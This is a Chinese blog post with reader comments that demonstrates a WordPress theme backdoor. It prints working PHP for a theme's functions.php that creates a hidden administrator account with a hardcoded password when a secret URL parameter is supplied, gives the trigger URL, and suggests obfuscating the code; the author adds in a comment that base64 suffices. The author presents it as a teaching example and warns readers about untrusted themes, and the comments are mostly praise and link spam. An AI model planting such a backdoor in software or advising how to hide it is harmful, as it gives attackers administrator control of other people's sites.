如何在WordPress主题中创建后门

原创 maro  2013-09-11 15:25 

是不是在很多场合听说过后门(Backdoor),特别是一些高科技的电影里面,那些系统或者程序的作者都会通过自己留下的后门来拯救世界。其实程序的后门留我们根本不远,其实你用的很多软件或者程序都是有后门的,下面给大家演示的一个很简单的案例,就可以给 WordPress 站点留下后门,获取管理员权限,当然这只是一篇教学文章,个人强烈你在使用 WordPress 帮人作网站的时候,千万不要这样做。

 

add_action( 'wp_head', 'my_backdoor' );

function my_backdoor() {

if ( md5( $_GET['backdoor'] ) == '34d1f91fb2e514b8576fab1a75a89a6b' ) {

require( 'wp-includes/registration.php' );

if ( !username_exists( 'backdoor' ) ) {

$user_id = wp_create_user( 'backdoor', 'pa55w0rd!' );

$user = new WP_User( $user_id );

$user->set_role( 'administrator' );

}

}

}

比如在主题的 functions.php 文件中添加以上代码,就可以给 WordPress 添加一个能够创建管理员的后门,只需访问 http://www.yoursitename.com/?backdoor=go,然后就创建了一个用户名为“backdoor”,密码为:“pa55w0rd!” 的管理员。

如果在把上面这段代码加密一下,很多用户就根本不知道这段代码是做什么的,所以强烈建议大家不要随便去下载一些来路不明的 WordPress 主题和插件,说不定就给你的站点安装了一个后门。

本文地址:http://blog.xmaro.com/archives/690.html
版权声明:本文为原创文章,版权归 maro 所有,欢迎分享本文,转载请保留出处!

发表评论


表情

  1. 神父
    神父 【队长】 @回复

    神一样的代码,妹啊

  2. 麦田一根葱
    麦田一根葱 【农民】 @回复

    好无耻的后门啊啊啊

  3. 一
    【农民】 @回复

    原来就张这样见识了,加密的怎么说?

  4. 撸啊撸
    撸啊撸 【农民】 @回复

    长姿势了。

  5. 鳄鱼锅
    鳄鱼锅 【农民】 @回复

    果然涨姿势了

  6. Soar、毅
    Soar、毅 【农民】 @回复

    把你所有的收藏都交出来……

  7. 白内障
    白内障 【农民】 @回复

    感觉个人博客需要好多技术来支持呀

  8. 我才是老蔡
    我才是老蔡 【农民】 @回复

    要是有权限管理就好了

  9. 撸啊撸
    撸啊撸 【农民】 @回复

    兔爷你好,兔爷再见。

    • maro
      maro【站长】 @回复

      撸爷你好

  10. 飞絮落叶雪
    飞絮落叶雪 【农民】 @回复

    赞一个

  11. godaddy优惠码
    godaddy优惠码 【农民】 @回复

    看来下次一定要检查好了。

  12. 1005911753
    1005911753 【农民】 @回复

  13. tennfy
    tennfy 【农民】 @回复

    加密怎么弄

    • Maro
      Maro【站长】 @回复

      base64就可以啊

  14. 晨风²º¹³
    晨风²º¹³ 【农民】 @回复

    长姿势了。

  15. xiao
    xiao 【农民】 @回复

    吓哭了

  16. 小二苘
    小二苘 【农民】 @回复

    我又长姿势了

  17. 头像贴吧
    头像贴吧 【农民】 @回复

    双节快乐哈~

  18. 头像贴吧
    头像贴吧 【农民】 @回复

    不要弄比较好吧。

  19. 神父
    神父 【队长】 @回复

    存在感

  20. 晨风²º¹⁴
    晨风²º¹⁴ 【农民】 @回复

    存在感

  21. 专五十任务站大全30个
    专五十任务站大全30个 【农民】 @回复

    哇,听了这个有点恐怖呀

  22. Meow Cold
    Meow Cold 【农民】 @回复

    真心涨姿势 话说怎么认识的都来了

  23. seo
    seo 【农民】 @回复

    学习了

  24. 北京seo
    北京seo 【农民】 @回复

    第一次来你博客哦,文章不错,赞一个。求认识啊,博主,求回访http://www.aiyw.net

  25. 广告联盟平台
    广告联盟平台 【农民】 @回复

    好东西 谢谢分享

  26. 重庆婚纱摄影
    重庆婚纱摄影 【农民】 @回复

    谢谢分享了

  27. seo
    seo 【农民】 @回复

  28. 最励志网
    最励志网 【农民】 @回复

    路过看一下!

  29. 歪妖内涵网
    歪妖内涵网 【农民】 @回复

    我不是来抢沙发的,也不是来打酱油的。

  30. 爱奇趣分享网
    爱奇趣分享网 【农民】 @回复

    能交换各友情链接吗?我的网站是 爱奇趣 http://www.iqiqu.net/?